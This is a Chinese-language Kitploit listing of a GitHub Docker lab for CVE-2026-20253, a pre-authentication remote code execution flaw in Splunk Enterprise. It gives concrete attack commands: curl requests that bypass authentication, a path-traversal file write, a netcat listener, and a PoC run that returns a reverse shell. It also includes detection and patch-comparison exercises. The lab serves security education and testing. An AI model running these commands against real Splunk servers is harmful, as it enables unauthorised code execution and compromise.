Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-20253 — Docker 实验环境,包含针对 CVE-2026-20253 的 PoC 漏洞利用和检查器,该漏洞是通过 PostgreSQL sidecar 服务在 Splunk Enterprise 中实现的预认证 RCE。 | Kitploit
工具/GitHubGitHub/ivanesk315/cve-2026-20253
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队实验室与实践
GitHubivanesk315/cve-2026-20253

CVE-2026-20253

Docker 实验环境,包含针对 CVE-2026-20253 的 PoC 漏洞利用和检查器,该漏洞是通过 PostgreSQL sidecar 服务在 Splunk Enterprise 中实现的预认证 RCE。

查看仓库
0天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-20253 实验环境

Splunk Enterprise 通过 PostgreSQL Sidecar 服务实现预认证 RCE

CVECVE-2026-20253
CVSS9.8 (严重)
类型未认证远程代码执行
CWECWE-306: 关键功能缺少身份验证
产品Splunk Enterprise 10.0.x / 10.2.x

免责声明:本实验环境仅用于授权的安全研究、教育和渗透测试。请勿对您不拥有或未获得明确授权测试的系统使用。


实验架构

root@kitploit:~
┌──────────────────────────────────────────────────────┐
│                  Docker 网络: cve-lab                 │
│                  子网: 172.20.0.0/24                  │
│                                                      │
│  ┌─────────────────────┐   ┌──────────────────────┐  │
│  │  splunk-vulnerable   │   │  attacker            │  │
│  │  172.20.0.10         │   │  172.20.0.50         │  │
│  │                      │   │                      │  │
│  │  Splunk 10.2.3       │   │  Python 3.11         │  │
│  │  端口 8000 (Web)     │   │  nmap, netcat        │  │
│  │  端口 8089 (API)     │   │  postgresql-client   │  │
│  │  端口 8088 (HEC)     │   │  tcpdump             │  │
│  └─────────────────────┘   └──────────────────────┘  │
│                                                      │
│  ┌─────────────────────┐  (可选, profile: patched)    │
│  │  splunk-patched      │                             │
│  │  172.20.0.11         │                             │
│  │  Splunk 10.2.4       │                             │
│  │  端口 8001 (Web)     │                             │
│  └─────────────────────┘                             │
└──────────────────────────────────────────────────────┘

前置要求

  • Docker 和 Docker Compose
  • Git
  • 8GB+ 内存(Splunk 需要大量内存)
  • 互联网访问(用于拉取 Docker 镜像)

快速开始

1. 启动漏洞实验环境

root@kitploit:~
# 启动 Splunk 漏洞版本 + 攻击者
docker-compose up -d

# 等待 Splunk 初始化(约 2-3 分钟)
docker-compose logs -f splunk-vulnerable
# 查找: "Ansible playbook complete, will begin polling for Splunk On..."
# 然后:     "Splunk is ready"

2. 验证 Splunk 正在运行

  • 打开浏览器: http://localhost:8000
  • 登录: admin / ChangeMeNow!

3. 运行漏洞检查器

root@kitploit:~
# 从宿主机运行
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k

# 或进入攻击者容器
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k

4. 运行 PoC 漏洞利用

root@kitploit:~
# 进入攻击者容器
docker exec -it attacker bash

# 检查漏洞
python poc.py -t http://172.20.0.10:8000 --check -k

# 完整 RCE 漏洞利用(先在另一个终端启动监听器)
# 终端 1 - 监听器:
docker exec -it attacker nc -lvnp 4444

# 终端 2 - 漏洞利用:
docker exec -it attacker python poc.py \
    -t http://172.20.0.10:8000 \
    --rce \
    --lhost 172.20.0.50 \
    --lport 4444 \
    -k

5. (可选)启动已修补版本进行对比

root@kitploit:~
docker-compose --profile patched up -d splunk-patched

# 针对已修补实例进行测试(应返回 NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k

实验练习

练习 1: 侦察与漏洞识别

目标: 识别 PostgreSQL sidecar 端点并验证认证绕过。

root@kitploit:~
# 扫描 Splunk 端口
nmap -sV 172.20.0.10 -p 8000,8089,8088

# 使用 curl 手动探测 sidecar 端点
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"

问题:

  • 您观察到哪些 HTTP 状态码?
  • Authorization: Basic Og== 解码后是什么?
  • 为什么 400 响应表示存在漏洞(相对于 401)?

练习 2: 文件写入原语

目标: 演示在 Splunk 服务器上创建任意文件。

root@kitploit:~
# 通过 backup 端点创建测试文件
curl -k -X POST -u ":" \
  "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"

# 验证文件已创建
docker exec splunk-vulnerable ls -la /tmp/pwned

练习 3: 完整 RCE 链

目标: 在 Splunk 服务器上实现代码执行。

  1. 在攻击者机器上启动 netcat 监听器
  2. 使用 --rce 标志运行 PoC 漏洞利用
  3. 验证反向 shell 连接
  4. 调查 shell 具有的权限(whoami、id、ls /opt/splunk/etc/)

练习 4: 补丁差异分析

目标: 了解漏洞版本与已修补版本之间的变化。

root@kitploit:~
# 同时启动漏洞版本和已修补版本
docker-compose --profile patched up -d

# 对比响应
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"  # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health"  # 401

# 对比相关的 Splunk 配置/代码
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf

练习 5: 检测工程

目标: 为此漏洞创建检测规则。

  1. 在漏洞实例上启用 Splunk 内部日志记录
  2. 运行漏洞利用
  3. 在 index=_internal 中搜索攻击痕迹
  4. 编写 SPL 检测查询(参见 report/ANALYSIS.md 第 6 节)
  5. 针对漏洞利用测试您的检测规则

文件结构

root@kitploit:~
CVE-2026-20253/
├── README.md                    # 本文件
├── docker-compose.yml           # 实验环境定义
├── attacker/
│   ├── Dockerfile               # 攻击者容器构建
│   └── requirements.txt         # Python 依赖
├── exploit/
│   ├── checker.py               # 漏洞检查脚本
│   ├── poc.py                   # PoC 漏洞利用(认证绕过 → 文件写入 → RCE)
│   └── requirements.txt        # Python 依赖
└── report/
    └── ANALYSIS.md              # 根本原因分析与完整报告

调试提示

Splunk 容器无法启动

root@kitploit:~
docker-compose logs splunk-vulnerable
# 常见修复方法: 将 Docker 内存增加到 8GB+

验证 PostgreSQL sidecar 正在运行

root@kitploit:~
docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435

检查 Splunk 内部日志

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50

检查目标模块化输入脚本

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py

捕获网络流量进行分析

root@kitploit:~
docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10

清理

root@kitploit:~
# 停止并移除所有容器
docker-compose --profile patched down

# 移除卷(删除所有 Splunk 数据)
docker-compose --profile patched down -v

# 移除 Docker 镜像
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4

参考资料

  • 完整根本原因分析
  • Splunk 安全公告 SVD-2026-0610
  • WatchTowr Labs 分析与 PoC
  • CISA KEV 目录
  • Picus Security 技术文章
下载工具